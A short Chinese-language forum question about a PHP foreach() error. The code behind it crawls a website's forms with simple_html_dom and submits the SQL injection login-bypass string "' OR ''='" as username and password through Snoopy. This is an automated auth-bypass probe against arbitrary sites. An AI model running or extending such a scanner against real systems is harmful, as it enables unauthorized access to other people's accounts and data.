我越来越Message: Invalid argument supplied for foreach()
在这条线上foreach($element->action as $URI){ // find action="" attr of <form> element
我的代码是一个嵌套的 foreach() 循环:
$siteToSearch = file_get_html($prefix.$sss);
foreach($siteToSearch->find('form') as $element){ // find <form> element
foreach($element->action as $URI){ // find action="" attr of <form> element
$submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars);
echo "response code: ".$snoopy->response_code."<br>\n";
print $snoopy->results;
}
}
我尝试$URI
在第一行定义为,$URI = $element->action;
但这似乎并没有解决它